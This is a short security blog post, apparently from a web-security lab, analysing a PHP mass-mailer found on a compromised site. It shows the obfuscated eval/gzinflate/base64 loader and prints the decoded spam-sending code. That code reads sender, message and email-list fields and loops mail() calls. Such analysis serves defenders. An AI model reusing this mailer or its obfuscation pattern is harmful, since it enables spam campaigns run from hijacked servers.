PHP Spam tool (UnixStats Mass MaiLer)

While looking at a compromised site, we found an interesting mass mailer in there. The contentwas encoded using eval/gzinflate and base64_decode:

<?php eval(gzinflate(base64_decode("1RprcxM58jtV/AehyyZ2rcdjOwkb7NjAhrBLFQGWhLvbAio1npFtLfNC.....</code></pre> <p>But when switching the "eval" for "print" we could see the mass mailer hidden and what it was doing:</p> <p><textarea cols=100 rows=20>$secure = "racrewmania@googlemail.com"; @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; set_time_limit(intval($_POST['timelimit'])); ..<title>UnixStats Mass MaiLer</title>..for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>rnReply-To: $replytorn"; $header .= "MIME-Version: 1.0rn"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uidrn"; If ($file_name) $header .= "--$uidrn"; $header .= "Content-Type: text/$contenttypern"; $header .= "Content-Transfer-Encoding: 8bitrnrn"; $header .= "$messagern"; If ($file_name) $header .= "--$uidrn"; If ($file_name) $header .= "Content-Type: $file_type; name="$file_name""rn""; If ($file_name) $header .= ""Content-Transfer-Encoding: base64rn""; If ($file_name) $header .= ""Content-Disposition: attachment; filename=""$file_name""rnrn""; If ($file_name) $header .= ""$contentrn""; If ($file_name) $header .= ""--$uid--""; mail($to</p> </div>    </article> </main> </div> </div><div> <nav class="navigation post-navigation" aria-label="Posts"> <h2 class="screen-reader-text">Post navigation</h2> <div class="nav-links"><div class="nav-previous"><a href="https://labs.sucuri.net/flagging-google-com-as-malware/" rel="prev">Flagging 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